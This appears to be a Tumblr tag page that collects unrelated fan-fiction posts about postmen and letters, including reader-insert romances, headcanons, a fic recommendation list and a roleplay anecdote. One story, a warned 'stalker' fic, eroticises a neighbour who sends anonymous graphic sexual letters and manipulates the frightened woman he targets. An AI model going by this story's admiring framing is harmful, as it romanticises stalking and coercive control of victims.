#postman scenario

[moonstruckme]

Please Mr. Postman (pt 2)

summary: a continuation of this drabble where you meet the handsome postman at your new job

postman!James x fem!reader ♡ 756 words

For a moment, James thinks he’s been let into your building by a ghost. 

“Hello?” 

Your head pops up from behind your desk. “Sorry, hi!” 

James smiles instantly. He walks the rest of the way into your office, setting down your packages by the door. “Hi, lovely. How’s it going?” 

“Good, you?” 

“Can’t complain. Need your autograph for a couple things, please.” 

“Right, just a second, sorry.” It’s not unusual for James to come in and find you in the middle of a task, but today you seem especially harried. “Ow! Son of a—” 

“What are you doing back there?” James peers over your desk. 

What you’re doing is half straddling, half sitting on a cardboard box, squeezing the flaps together with your legs and holding them closed with your hand. Your other hand is holding a tape gun, which you appear to have cut yourself on the sharp edge of. You drop it to put your thumb to your lips. 

“Um.” James’ face heats at the way your skirt rides up with your thighs clenched around the box. “I think you may need a bigger box.” 

You laugh, breathy and exasperated. “You’d think, wouldn’t you? But this is the biggest one we have.” 

You look at your thumb, frowning, and pick up the tape gun again. James gets ahold of himself. 

“Hold on. Give that here, babe. Let the professional handle this.” 

You look up like you’re going to apologize again, but he only beckons. You pass him the tape gun and let him shoo you away from the box. 

“Press the sides together for me?” He asks, taking the perhaps less-than-necessary measure of guiding one of your hands to the side of the box. “Like that, yeah. Thanks.” 

James holds the flaps down as you had, sealing them over with tape in one easy motion. He double-layers it for good measure. 

You slump back into your chair, relieved. “Thank you.”

“No problem.” He gives the box a good pat. “This for me?” 

“Yeah. It’s pretty heavy, sorry.” 

James tsks. “Oh, come on, you ought to know better by now. There’s nothing I can’t carry.” 

Your lips curve in a smile. The highlight of James’ morning, every morning. “That dolly’s just for show, huh?” 

“That’s for when I’m feeling lazy.” He grins, leaning against your desk. “How’s your week going?” 

You tell him. You’re no longer surprised by James’ tendency to stay and chat when he drops off your packages. Every day, he comes in here with something new he’s dying to know about you. Where you grew up, if you have any pets, what your favorite subject was in school. James’ curiosity seemed to confuse you at first, but you’ve since grown used to him, answering him more readily and asking your own questions in turn. He knows how you like your coffee, which coworkers are your favorite and which you dread speaking to, and that you keep a small collection of candles in your top drawer so you can cycle out the scents based on your mood. The more James knows about you, the more he wants to learn. 

Eventually, the chatting has to come to an end. James has a pickup down the street to grab before noon. He needs to go. 

“Hey,” he says conversationally, hoisting your box into his arms. (It’s not really that heavy.) “When do you usually take your lunch?” 

“Oh, um.” You go shy, an expression James doesn’t see much of anymore. Your fingertip presses into the cut on your thumb. “I don’t usually take one.” 

James’ brow furrows. “You don’t get a lunch break?” 

“Well, I’m not…really sure. I haven’t asked.” 

“No,” he says, disbelieving. “You mean to tell me you’ve gone all this time without a lunch break because you’re afraid to ask?” 

Your shoulders come up towards your ears. “I don’t want to seem greedy.” 

James laughs. “A lunch break isn’t greedy, love. It’s normal—it’s your right!” You look sheepish, like you’d suspected this to be true already. James levels you with his sternest look. “Ask someone, please. And when you find out, let me know. We can take ours together sometime, if you want to.” 

He sees the moment you register what he’s really asking you. “Oh.” You blink, pretty eyes widening slightly. “Yeah. I’ll let you know.” 

“You have to ask first,” James reminds you, cracking a smile on his way out. “Be brave. See you tomorrow.” 

Your voice echoes after him faintly, the same as every other day. “See you tomorrow.” 

[ithaquasbbg]

Hii I hope you're doing well!

I just thought of this, but this might've been already done by some other writer but idk.

Can I request fluff hcs for Victor Grantz/Postman that meets his penpal? Fem or GN reader, whichever you prefer!

Please and thank you! Take care of yourself! Eat, drink and sleep plenty!

｡☆✼★━━━━━━━━━━━━★✼☆｡

Hi anon! :) yes I can do this :D

Victor Grantz | Postman w/ a fem pen pal reader Hcs

｡☆✼★━━━━━━━━━━━━★✼☆｡

Pairing : Nothing established, could probably be read as Victor x reader

Tw: none

｡☆✼★━━━━━━━━━━━━★✼☆｡

|💌| He’d probably be incredibly anxious before meeting you in person. What if you didn’t like his company in person? What if he’s too awkward?

|💌| I think it’s safe to say that you probably have those fears as well before meeting him! Both of you are so excited but so worried at the same time!

|💌| When you do meet Victor hands you a letter with a wide smile on his face, the contents basically talking about how excited he is to finally meet you

|💌| Victor will introduce you to his dog with that same big smile, he’s obviously very happy to see you after so long of writing to each other!

|💌| He probably tells you that you look really pretty (whether written or verbally- however you interest him). Romantic or not- it’s still a sweet gesture!

|💌| On a similar note, he is a cute guy in general- and if you returned the compliment he’d likely be flustered beyond belief.

|💌| When you two have to leave again, he’ll promise to write to you as soon as he can!

|💌| Sure enough, you get a letter in the mail a few days later talking about how much he enjoyed meeting you, and asking if you could meet up again soon!

….

Yipeee

[midniqhtt]

james potter

masterlist • the marauders • 04/25/25

˚‧⁺ ･ ˖ · ୨ৎ recs two

james potter one

𑣲 in another life part 2 I @astonishment

In another life, you and Pietro would have happily spent the rest of your years together. In this life, he died right in front of you. Adjusting to your new world and mourning his loss wouldn't be so hard if it weren't for James Potter; the funny, charming, caring, annoyingly persistent man that looks just like the love you lost.

𑣲 love letters I @amiableness

Y/n starts receiving love letters, and James doesn't handle it well, leading to him writing his own.

𑣲 dad!james universe I @/amiableness

𑣲 kiss and makeup up I @/amiableness

James ruins reader’s date and attempts to make it better.

𑣲 hockey!james part 2 part 3 I @/amiableness

𑣲 speak up I @mischievousmoony

reader talks very quickly and quietly and often is told that she needs to speak up.

𑣲 haywire holiday I @/mischievousmoony

you have trouble sleeping when you unexpectedly have to share a bed with james on your holiday

𑣲 building blocks I @/mischievousmoony

𑣲 i know you I @/mischievousmoony

𑣲 roses and pledges I @/mischievousmoony

as president of a fraternity, your boyfriend has pledges at his beck and call. so naturally, he tasks them with handing you valentines roses throughout the day

𑣲 new romantics I @pretty-little-mind33

When your "friends" play a dangerously stupid prank on you, James is the last person you'd think would help you.

𑣲 afterglow I @/pretty-little-mind33

James is threatened by how good you are at Quidditch which means he hates you. And what emotion is closer to hate than love?

𑣲 timeless part 2 I @/pretty-little-mind33

James wants to take you out to one of his families' fancy parties. However, he underestimates how cruel people can be when someone is different.

𑣲 enchanted I @/pretty-little-mind33

Three weeks after his devastating break up with Lily, James wanted Remus and Sirius to bring him to a muggle bar in central London.

𑣲 beautiful I @sun-kissy

𑣲 in another life I @/sun-kissy

𑣲 sunlight I @/sun-kissy

james is your best friend, and you tell him you love him as more than that

𑣲 request I @ellecdc

𑣲 he shoots and he scores I @/ellecdc

𑣲 bsf!james I @ddejavvu

𑣲 good luck charm I @/ddejavvu

James is convinced that you’re his good luck charm, so before every quidditch game, you find yourself at his mercy in the locker rooms.

𑣲 request I @/ddejavvu

𑣲 my girl I @alwaysmoncheri

no one makes james potter feel the way that his girlfriend does and he definitely knows it

𑣲 roommate!james series I @moonstruckme

𑣲 roommate!james I @/moonstruckme

𑣲 vampire!james I @/moonstruckme

𑣲 mr. postman part 2 I @/moonstruckme

it's your first day at a new job, and the postman who comes by your office is especially friendly

𑣲 short scenario I @curseofaphrodite

where you, the Hogwarts Newsletter editor, wrote a less-than-praising piece about Gryffindors losing the recent match.

𑣲 lifeguard!james I @g1rld1ary

𑣲 bothersome I @/g1rld1ary

you and james can't help but bother each other whenever you sit together in class

𑣲 heart shaped doodles I @/g1rld1ary

you accidentally get given james' essay, covered in doodles with your intials together

𑣲 don’t want you like a best friend I @moonlightspencie

James is nervous about his inexperience with girls. Luckily he has a best friend who's more than willing to help.

𑣲 do it for me I @morwap

𑣲 bonding I @marauroon

you’re convinced james has separation anxiety. the boy can’t even let you shower in peace.

𑣲 from now on I @rainydayathogwarts

James Potter gives head for the first time, and it quickly becomes an obsession.

𑣲 request I @theemporium

𑣲 teacher!james part 2 part 3 part 4 I @lupinsweater

𑣲 best!friend remus with no boundaries leave you alone with james I @mallowsweetmiri

𑣲 james with american gf hc I @s0urw00lf

𑣲 concussions 'n confessions I @sleepiexx

James quickly realizes his feelings for you— shortly after you’re struck directly in the head with a bludger.

𑣲 something he'd overheard I @/sleepiexx

James finds himself head over heels when he sees you defending a first year student. 

𑣲 one of the guys I @thatdammchickennugget

you have always been one of the guys, but what if you don't want to be anymore?

𑣲 not saying i love you prank I @iamgonnagetyouback

𑣲 awkward dates I @/iamgonnagetyouback

When James stays quiet, too quiet, on your first date, unwelcome thoughts start clouding your mind.

𑣲 animagus!reader I @/iamgonnagetyouback

who he picks up thinking as stray and lets in on a secret

𑣲 genuine I @kquil

your boyfriend finally takes a role who has a romantic interest but his expression is hardly convincing; only you can get a genuine reaction from him

𑣲 boudoir photoshoot I @/kquil

you have your bridesmaids show James, your, now, husband, polaroid samples from your boudoir photoshoot on your wedding night while you enjoy his reactions from afar

𑣲 did i mention? I @hemmingsleclerc

james declared himself to yn during a quidditch game in the most ridiculous way possible

𑣲 divination I @ticifics

“You two have an intertwined future,” the teacher says, her enigmatic smile deepening. “I see a boy… He’ll wear glasses, like his father.”

𑣲 the boy with the glasses is blind I @crescenthistory

[phone4pills]

DEAR SANTA DAY 1

𝜗𝜚⋆₊˚ slow’s advent calendar! no warnings apart from some venting, don’t try this btw, stranger danger

You felt so stupid when you dropped your letter in the postbox. Your friends had dared you to write a Christmas wish list and mail it to a random address in a random state. You’d spun a wheel and landed on Massachusetts. So you’d written your letter to a random home there, in Boston specifically. And you’d drawn pretty pink and red bows on the envelope, hoping whoever received it would like them. At first it didn’t seem like a huge deal but now that you were actually stood in front of the crimson post box, no way to turn back time and get your letter out of the pile, your nerves were spiking off the chart.

You took a deep breath, shoving your hand a back into the pockets of your coat and walked away, deciding that you wouldn’t look back at that darned post box, only following the snowy trail ahead of your feet.

Four days later - Sturniolo’s Home

Matt hurried downstairs towards the sound of the doorbell. The rest of his family had left the house to buy Christmas secret santa gifts for each other. He’d already ordered his online for Chris. A cameo from one of his favourite celebrities and a chain with his name on it. He also had a Lego set in his room that he’d been meaning to give his brother, so he would add that in too.

When he opened the door, he was surprised to find a postman with an envelope addressed to their house but nobody specifically. It was nicely decorated with some bows on the back so it wasn’t something serious like bills or anything to do with a business. And there was no parcel with it. Only the envelope. He thanked the postman and closed the door, almost scared to unveil what was inside.

The envelope sat on his desk for a few hours. And he stared at it. Longer and longer. Until the corners began to curve and he was seeing multiple shades in the plain white folded paper. He wanted to wait for Chris and Nick to get home so they could open it together. But the temptation was eating away at him. And he couldn’t resist anymore, reaching across the room to grab it and settling down on the end of his bed.

His fingers played with the opening for a bit until he eventually tore the envelope open and pulled out a folded bit or cream card. A deep breath racked through Matt’s throat as he unfolded the piece and read the note.

Dear Santa,

Whoever you may be, I hope you’re having a great time these holidays. I’ve never been the biggest fan of this time of year but I promised myself I’d be more outgoing so I’m writing this to you, Santa Stranger, hoping you’ll read it someday, preferably before Christmas.

I really wish for good grades in college this year and success in the future so the job I work to pay off my student loans is all worth it. I hope that I can finally buy the camera I’ve had my eye on for a while and take capture loads of memories with my friends, and my grandma because she’s getting older and I always want her with me.

But most of all, I hope that Christmas this year feels as magical as it was when I was a kid. The lead up to the holidays is always so exciting but I feel like I keep getting let down now that I’m older. I hope that this Christmas can be different, enchanting.

I admit, I have yet to buy presents for a lot of people. Especially the boys and men in my life. I swear it’s so hard to shop for the male population. If by any chance you might have some ideas, I’d appreciate them. That’s in the scenario that this reaches you in time and you can get it back to me before the 24th, which I kind of really hope it does.

That’s all for now. Until next time, Santa.

- Signed, Elf

A grin spread across Matt’s face and his eyebrows, that were previously knitted together, softened. He was ultimately in awe, unable to deny how genius he thought the whole scheme was. And he wondered what the chances were that this ended up at his house, of all the houses in America. He found your address on the back of the slip and made a start writing his letter back as quickly as he could.

He’d been meaning to talk to someone about Christmas in more depth. He’d talked about it a little bit with his brothers on their YouTube channel during the lead up to the winter season, but he’d never truly gotten to express how he felt about the time of year. And now he was given a perfect opportunity. There were no ties to it. No judgment. Only honesty, and he liked that.

Three days later - Your Home

You’d received a green envelope in your postbox with smiley faces drawn all over it. Instantly, you knew what it was. You’d almost completely forgotten about the message you’d shipped off previously and had your doubts about it being returned.

Hurriedly, you ran across the hallway and threw yourself down on the couch, giving your cat a few head rubs before peeling open the casing around a piece of white card.

Dear Elf,

I wish you’d seen my face when I opened your letter. I won’t lie and say I wasn’t frightful when I was handed the envelope. The bows are really pretty by the way, you must be a good doodler. I doodle a lot too, especially when I’m feeling particularly anxious about things.

Speaking of relations and similarities, I’m glad I’m not the only one who’s had a good few thoughts on Christmas this year, and the last few. Maybe some magical force directed your message to me so I’d have somewhere to write down all of my thoughts. I’d have someone to tell without the weight of being judged in person.

I’m not that good at writing if you couldn’t tell already but I’m trying my best. I hope this year’s holiday season is like a breath of fresh air from all of the stress that’s polluting my life. I feel like I just need to feel free to feel Christmas. And I’m grateful for all I have of course, but it’d be nice to get away from all of the hate and negativity that comes with it.

About college, I never actually went but I wish the best for you. You should tell me about it. And be honest, I want to know all the details. I don’t have much time before my parents and my brother get home but before I forget, women are ten times harder to shop for than men!

Anyway, I got my brother a silver chain with his name on it and a cameo for secret Santa this year. I’m also throwing a Lego set in there. I don’t know if that’s helpful in any way, but it’s all the knowledge I have to offer. At the end of the day, any gift is a gift in the end. And it will be appreciated.

I wish you a Merry Christmas and I hope that all of your wishes come true. I think everybody needs a little bit of holiday magic this winter. Please do keep writing back to me if it’s possible. I’ve been needing something like this without even knowing.

Can’t wait to hear back. Until next time, my Elf.

- Signed, Santa

Thanks for reading ! There will be a Chris fic to come on the 3rd. Meanwhile, I have something else planned for tomorrow my lovelies. And a warm welcome to Slow’s Advent Calendar everyone.

- ©phone4pills

[nottivagos]

f!pov & stalker!carlos sainz.

wc: 2,064 words

tw: stalkers, dark themes, brief? mentions of nsfw

a/n: HELLO!!! welcome back to notti's nightly novellas. this fic is heavily inspired by i believe @/emchante's stalker!au carlos as it really made my head drabble on and yap about silly stalker carlos sending anonymous notes to his darling.

Fear and Sex, He Wrote. ¦¦ CS55

A sick pool of fear churned and curdled in your stomach. Wide eyed and teary, your eyes frantically flicked over the thick, cream-coloured cards in your trembling palms. The light sweat made them sticky to touch, they were letters, very detailed ones,— but not just any letters. Graphic sex fantasies, crude depictions of objectifying yourself and the dreams this anonymous lustful sex pest wanted to do to you.

It wasn’t the first time you’d received such sickening things. Such things that needed to be kept away, right at the back of someone’s mind, never to be revealed into the public eye. Or in your case, the bedroom. No, this occurrence had been going on for longer than any woman dreamed of suffering— a controlling bundle of fear wrapping you up whole, swallowing any inch of free will you had with ease, shutting off your vocal cords whenever you wanted to report it.

You were an undoubtedly beautiful woman. Even you knew that. On the brief appearances you made at bars and clubs, your presence was definitely made noticeable. Men and women’s gazes loomed over your figure, snugly dressed in garments that presented your soft curves in ways unimaginable, but also tempting the more monstrous side of them to imagine what lay underneath whilst you kept basking in the strobe lights, cheaply made cocktails in hand, and thumping drum and bass the typical ‘nighttime’ spots had to offer.

Maybe it was some sort of sick joke? You always thought, as glassy, stinging eyes glossed over each bold mention of ‘fuck’, ‘cunt’, ‘cock’ and ‘come’ that the unidentified freak wrote. The harsh wording and setting created a burning imprint in your mind, a forced sex position or lewd scenario that lurked— haunting your days in its own predatory, violent way— keeping your poor mind on edge, leaving you uneased even inside your own home.

Loneliness and anxiety aren’t a pleasant mix. It’s a mix that makes your gut twist and turn, churning acidic bile which is begging to be retched into a basin. The feeling suffocates anyone, like a metaphorical hand wrapped tightly around someone’s throat, leaving them silenced and isolated. Afraid of speaking out. Afraid of unknown consequences, causing overthinking and psychological turmoil.

Even the mere postman knocking on the door created tight knots in your stomach, the burning feeling of upset overflowing— the sheer fright flashing across your eyes, causing your insides to drop and heart to pound, the healthy colour of your skin to become a ghastly pale, pasty and sick, as if the horror of another looming erotic, predatory desire was sat quaintly on your doormat inside.

You felt ashamed, how could you have let fear and embarrassment silence you like that? It was only a piece of paper, containing some mere explicit eroticism— maybe a little too pornographic in parts—, which had been completely normalised by the changing ways of society. That’s when it changed, this one was different. The anonymous author had gotten every little, tiny feature of your appearance to a tee. How the hell did someone get something so graphically accurate? Someone, comfortably distanced from you, was stalking you, your body, and your soul.

It was beautifully fucked up. Honestly it was. And that pretty little head of yours would never come up with a logical reason, answer or identity to the mystery sex writer who overflowed your mail.

Your head was too busy hung low, your pathetic sobs muffled by your wettened hands to acknowledge your next door neighbour, Carlos Sainz, peering straight through his blinds with a sadistic smile.

Oh, sweetheart. You stupid, stupid girl. You’re way too easy to scare. The Spaniard contently thought to himself, watching you unfold in turmoil, like a scared kitten left in the pouring rain. It was ravishing, really— for his own pride’s sake. He’d been able to mingle himself into your mind, graphic fantasies manipulated into words, whilst maintaining that hidden identity— that bit of untold freedom which made his hardness twitch as he wrote such lewd things— happily away from you.

He, in short, was proudly your stalker. The man solely behind the erotic fantasies carefully, yet sickeningly curated and gracefully handwritten which made your lips tremble and heart sink.

Your relationship with Carlos was, in your opinion, completely platonic. Maybe a little too over-friendly sometimes, with his gentle touches and sweet nothings, but it wasn’t an issue for you. If anything, you latched onto it. Grasping onto that cherishing feeling, that little smidgen of hope when he showed the signs of caring about you in your predicament. He was the first person you’d been able to crack up the courage to tell, after he tenderly brought up his concerns for your distance from the neighbourhood, as if you were a ghost of the lively girl you used to be.

It was like a dream, an endearing one, at least. You’d been met with loving, soothing and somewhat addicting words, delivered by his thick, distinct accent that drawled and murmured like gooey treacle, whilst also being so gingerly touched as if you were a fine, pure piece of porcelain— easily breakable— in the eyes of the tanned man of thirty.

But underneath that facade? Well, those ‘innocent’ words were way more sinister; quiet degradations and malice which crumbled your psyche word-by-word, like a mason carefully chipping away at the stone to perfectly craft his newest statue.

It was bliss to Carlos. He was meticulously spinning this ‘safety net’ for you to rely on, whilst actually the poison and venom drawing you back to him with every horrible phrase on each card that stacked high with the various others collecting dust in your flooded letterbox. Every striking pornography he scribed drew you back to him, and he was more than welcome to accept you back into his open arms.

The reality was horrific, really. But you’d become so accustomed to it, the comfort becoming an overpowering drug, a strong magnetic force, always making— pulling you, even, to come back crawling to him.

Clutching the card tightly, you shoved it into your trouser pocket, before brushing the stinging weep away from your reddened eyes with hasty movements of the back of your hands. A soft sniffle escaped, a hiccuped sob muffled as you wiped a tissue across your snotty nose, then you rushed out of the door.

Your destination was ingrained into your mind, the scenario and situation like clockwork. Your only desired embrace being Carlos’s, as your mind went on autopilot, guiding you directly to your neighbour’s house.

He was already waiting for you. Your predictability was becoming amusing to the Spaniard. The movements were inevitable, a cycle so firmly fixed into your mind that even if one thing was altered slightly, you’d be a confused wreck. He liked that. No, he loved it. Something in that twisted mind of his had happily adopted whatever this whole ‘comforting’ thing was months ago, in the early days of his erotic, anonymous filth.

“Oh, pobrecita,” he drawled, his tone as light as a feather, opening the door to your emotional state, “come in. Come in. Let me hold you.”

He ushered you into his house, quickly closing the door on the piercing cold outside. Large, strong arms then pulled you into an almost suffocating embrace, with Carlos pressing his nose into your hair, planting a tender kiss on your head.

“Shh, it’s okay,” the Spaniard consoled with a coo, a large hand brushing away some stray strands of hair which had messily stuck to your damp, burning cheeks.

He tutted softly, muffling your sobs in with his chest, cradling your head as you cried. “Breathe, nena.”

You seemed to melt into his warm closeness, face nuzzled into his chest as watery eyes dampened his new shirt, but Carlos seemed uncaring. Despite not fully having you, you were still his darling, in his own disfigured fashion, the sinful anonymities just luring you closer and closer into his den, but for now he’d settle with you in his arms— the bedroom, sex, and the awaiting marriage could wait— even with the sobs, despite his deep hatred for them.

Only he could make you cry. A sick possessiveness, God forbid, that only he was able to get out of you. The anonymous notes Carlos left in your letterbox were merely tame in his eyes— well, that's what he believed in his own sick mind.

You delved into your pocket with a jittery hand, thrusting the newest addition of anonymous sex cards into the Spaniard’s grasp. His large hand came to claw your head in response, softly pressing your face against his chest again, the coarseness of Carlos’s palms a contrast to your smooth, silky locks of hair.

His voice rumbled deeply, his hushes cooing your weeps away, whilst his lips were soft on your temple now and again as he read the card with a level of assertiveness.

He couldn't help but chuckle at his own words. God, he was hauntingly accurate in his fantasies, his imaginative depictions of you in all sorts of positions— the list of lewd thoughts in his head long, as a sly smirk crossed his lips as he kept your face out of sight of his.

Sliding the card into his own pocket, he purred, “I think you're overreacting, cariño,” the hot breath fanning onto the shell of your bare ear. “Surely it's a coincidence,” he continued, his words deliberately slow and intoxicating, “any girl like you could've been wearing that dress this… person speaks of.”

There was something about his words that made you gasp. A sharp intake of breath whistling through your teeth, which left your heart drumming in your chest. Words as smooth and comforting as sweet honey, laced with poison. Caring words of malice, caressing your fear. Manipulation, raw, and at its finest.

Maybe it was a coincidence. Anyone could've worn that dress, so easily described and painted through Carlos’s sick, anonymous words. The same dress he yearned to ‘jerk his aching cock to’ whilst inhaling your sweet scent off of it.

Slow fingertips trailing your back broke you out of your frenzy of thoughts. Little specks of goosebumps trailing in their lazy tracks. Carlos’s other hand soon followed, cupping your stinging, reddened cheek oh so softly, his large, brown doe eyes swallowing you whole in one gaze. You could spend years, eternities even, swimming in the intricate specks of hazel.

The hand on your cheek, grazed your soft flesh, the roughness of his knuckles causing a flicker of heat to rush to them in his wake. Carlos’s lips formed a small smile, to which you responded with a loud sniffle, and some more relaxed breathing.

Who knew a few sweet nothings and hand grazes could stop you from being a whimpering, emotional wreck, hmm?

Swallowing the lump growing sourly in your throat, you replied, “Y-yeah, maybe you are right.” The reply was a mere whisper, before you added quietly, “Just… Just a coincidence.”

“Just a coincidence,” the brooding Spaniard repeated lowly and so thickly, it left you shivering slightly. A little flutter forming in your stomach at the intensity of your shared gazes once again.

The bolts of lightning sparked as you both swam in your shared silence— a moment of blissful intimacy, so unspoken yet perfect and oh so palpable. Air thick around you, Carlos broke it, clearing his throat abruptly.

“Why don't I run you a nice bath, hm?” he suggested smoothly, the tar of his accent thickly smothering your senses. An arm slowly snaking before wrapping around your waist snugly, “I bet you're feeling disgusting after shedding all those tears.”

Pausing for a moment, you felt safe in that moment. “I'd like that, yes,” you responded softly, your widened eyes meeting the tanned Spaniard’s for one more time. “Thank you, Carlos. For everything.”

Your sweet lips formed the smallest of genuine smiles, which Carlos happily flashed back. There was an intensity in his eyes, burning deep below the surface of his facade, “Then let's go and get you cleaned up then, corazón.” Carlos finally murmured again, walking you up towards the staircase in his home.

Word by word, chip by chip, slowly breaking you away. He now had you just where he wanted you to be, stuck, so obliviously drunk on his poison in the spider's web of his own design.

like what you see? make sure to leave me some notes in my inbox if you want to see more stalker!carlos in my nightly novellas!

[mus1g4]

Has there ever been any interesting interactions inmates have had with the public? Like someone getting roasted cause their incarcerated?

Great question!

The most open area for civilian interaction is the jail yard. I remember being in the midst of a role play where I was on a chain gang breaking up concrete and taking it out to the alley on the other side of the jail. The postman was deliving mail and said to Bind (who was guarding) ".....I just don't get it man! You get these guys to pay you to be mean to them and do work for you! I guess I picked the wrong job!"

I was also in a nighttime arrest scenario where the guards were great friends of mine. They had gotten matching officer uniforms and put strobe lights in their GMC Suburban. When I pulled into the parking lot, they lit up the strobes and started an arrest! The only problem was that the local police saw them and thought that a neighboring jursidiction had come into town to make an arrest without notifying dispatch. We straightened things out quickly, but it was a tense few minutes!

[smilingformoney]

For the Love of Books

XI. The Consequences of Heartbreak

Sinclair/Betty (OC)

Summary: When Sinclair makes a foolish decision, Lionel helps Betty to pick up the pieces.

Read now on Ao3 or below the cut:

Time is a funny thing. It was April, and somehow Betty felt both that it had come too quick, and not quick enough. She felt like she’d known Sinclair forever, and yet it was hard to believe they’d been together for almost four months already.

His divorce was moving slowly. Natalie was dragging her feet, as if she thought making the process longer and more difficult would make things better for anyone — as if she really thought Sinclair would get tired of the divorce proceedings and just get back together with her.

Although Sinclair tried to hide it, Betty could see how much of a toll the whole thing was taking on him. His mood always dipped after a meeting with his solicitor; sometimes he talked about it, when Betty was able to coax it out of him, but other times he refused, not wanting to mar the good times they had together with the brush of Natalie’s negativity.

And yet, despite how difficult it was for him, he refused to name Richard in the proceedings. Doing so would accuse both Richard and Natalie of a crime, and that was a step Sinclair was just too pure-hearted to take.

Natalie, however, despite knowing the ammunition Sinclair had on her and was kind enough not to use, had no qualms with lying when she could find nothing to use against Sinclair.

Betty always had her personal post delivered to the shop - she was always there when the postman came anyway, so it just made sense. In amongst the endless bills, junk mail and letters from HMRC, there were sometimes letters from friends and family, and one morning, a letter from a solicitor’s office.

She waited until she closed for lunch to read it, and when Sinclair arrived with lunch in hand, he found her still sitting behind the counter, brow furrowed as she read the letter again.

“What’s wrong, Betts?” he asked, a dozen disaster scenarios running through his head. Was someone sick, dead, moving away? Was she losing the shop? Was it medical news maybe?

She showed him the letter, but he wasn’t prepared for the answer. He knew Natalie had threatened it, but he thought it was empty. Would she really lie just to get an advantage in the divorce?

“Betty, I’m so sorry she’s dragged you into this,” Sinclair said with a serious frown as he looked up from the letter. “I thought she was better than this.”

Betty shrugged. “It’s not true, so it’ll look bad on her when the court realises she’s lying, right?”

“I… don’t know,” Sinclair admitted, his fingers fidgeting with the seal of the sandwich bag. He’d been so excited to see Betty for lunch, and now Natalie had put a damper on it. Why did she have to be like this? Couldn’t she just accept the consequences of her action? Why did she have to cling on so desperately to something that was dead?

“Do you want to talk to my solicitor? I’m sure he’ll help you write a statement.”

Betty nodded, but her eyes betrayed her uncertainty. Sinclair scurried around the counter and lifted her chin to look up at him. With her sat and he stood, she was even shorter than she usually was, and she had to crane her neck to look up at him.

“It’ll be okay, Betts. She won’t come between us, I promise.”

She smiled, more genuinely this time, and Sinclair placed a kiss to her forehead, then laughed when her hair tickled his nose.

“Come on, enough worrying about this. It’s lunch time!”

The meeting with the solicitor never came, despite Sinclair’s promise before going back to work that he’d arrange something. The next day, he didn’t show up for lunch, and Betty had to eat all by herself. She tried calling Sinclair at work, but she only got the receptionist, who told her that Sinclair had taken the day off for personal leave.

Personal leave? What the hell could that mean?!

She spent the afternoon an anxious mess, trying to figure out what kind of personal leave Sinclair might need to take, and why he wouldn’t call her to tell her what had happened. She was so distracted that she accidentally charged a customer for two books instead of three - great, just what she needed, to make more of a loss than she already was.

When closing time came around, Betty was just about to lock up the shop when she finally saw Sinclair. He had parked up on the pavement and was just getting out of his car, and Betty sighed with relief as she opened the door to him.

“There you are! I’ve been so worried. Your secretary said you’d taken personal leave. Is there something wrong?”

Sinclair almost jumped when he heard her voice from behind him as he locked the car. He glanced around nervously, as if worried he was being followed, then scurried inside.

Betty closed the door behind her and frowned at the way he was pacing around, fingers fidgeting with his jacket sleeves.

“Sinclair, what’s wrong?”

He stopped pacing and looked up at her, his eyes so distraught that Betty wondered if someone had died.

“Betty, I…”

She quickly took his hands in hers to reassure him, but he pulled back suddenly, as if her touch was electric. He closed his eyes to steady himself.

“I, um… god, I don’t know how to say this.”

“You can tell me anything, babe.”

Sinclair winced and shook his head.

“Don’t - Christ, Betty, don’t make this harder.”

“Make what harder? What are you talking about?”

Sinclair took a deep breath, opened his eyes and looked at her.

“I… have to break up with you.”

Betty’s heart stopped beating. The world stopped moving. Her eyes watered, but tears wouldn’t come, not yet.

“Wh - what do you mean? You - but - you have to?!”

Sinclair nodded glumly. “Natalie, she —”

“Natalie?!”

What on earth could that bitch have said or done to him?

“She’s pregnant.”

There was a moment’s silence, then, to both their surprises, Betty laughed.

“And you believed her? She’s a liar, Sinclair, she’s probably making it up to keep you around!”

Sinclair’s fidgeting was getting bad now. He was beginning to pull on a loose thread from his sleeve, and Betty fought the urge to place her hands over his to soothe him.

“We went for a scan this morning. It’s real. Four and a half months. Just - just the right timing for…”

“For when you last shagged her?”

“…Yeah.”

“She’s a cheater, Sinclair! How do you even know it’s yours? Could be Richard’s. Lovely little incest baby for the deranged couple.”

“She said she hasn’t slept with him since summer.”

“Oh, well, that’s alright then!” Betty exclaimed, throwing her hands up in exasperation. “It’s not like she has a track record of lying to you, is it?”

“Betty, I - I don’t want to do this,” Sinclair said imploringly, looking at her with those goddamn puppy dog eyes. “I love you. You know I do. But… I grew up with divorced parents. It was awful. I don’t - I don’t want to put my child through that.”

My child. The words made her feel sick. Sinclair - her best friend, the love of her life - was having a child with the wrong woman.

He’d told her once that he didn’t mind that she didn’t want to get pregnant… and yet, here he was, running back to his wife as soon as he found out she could give him a child.

“So that’s it?” Betty whispered, trying not to let out any of the sobs that were threatening to spill from her chest. “You’re just gonna live your life married to a woman you don’t love?”

A woman who could give him a child, a pretty rich white woman who was far more suited to him, who didn’t look remotely out of place on his arm at parties.

“This isn’t about what I want. It’s not about you, or Natalie, or anyone — it’s about the baby. I need to think about what’s best for him.”

Betty shook her head in disbelief.

“You’re an idiot, Sinclair.”

“I know,” Sinclair admitted meekly, glancing down at his shoes. “I know it doesn’t mean anything to you now but… I’m sorry.”

Betty almost sobbed, but she disguised it as a huff.

“You should leave,” she hissed, desperate for him to go before she broke down completely.

“I will. But before I do, I - I want to give you something.”

Before Betty could protest, Sinclair was out the door again. He rummaged around in the boot of his car, then came back in carrying a dog crate and a cushion she knew to be Goldie’s bed.

“Sinclair —”

“Hold on, I’ve got the rest of his stuff too.”

He hurried outside again, as if trying to spend as little time in the shop as possible.

Betty bent down by the crate and unlocked it. Sure enough, Goldie sprung out, yipping happily as he bounded onto her lap, thinking he was just visiting mummy, not that his parents were splitting up.

“Okay, here’s all his food, and his toys,” Sinclair said at last after his fourth trip to the car. “And his medical documents are in here too… somewhere.”

He began rummaging through the bags, and Betty just looked at him from her spot on the floor where she was sat with Goldie, who despite his boundless energy seemed to be content to cuddle her, as if he knew she needed him.

“Don’t you want him?” Betty finally asked in a quiet voice.

“Of course I do, but Natalie doesn’t like dogs,” Sinclair replied, not looking up from his search. “Ah, here they are!” He retrieved a folder from one of the bags and placed it on the shop counter.

Natalie’s pregnant, Natalie doesn’t like dogs, Natalie Natalie Natalie. Would Sinclair ever stop letting that woman control his life?

“So I… I guess I’ll go now,” Sinclair said awkwardly.

Betty could see him hovering out of the corner of her eye, but she kept her focus firmly on Goldie, who was already so much bigger than he had been when they’d met. How on earth was she supposed to fit him in her flat?

“Go on, then,” Betty replied stiffly.

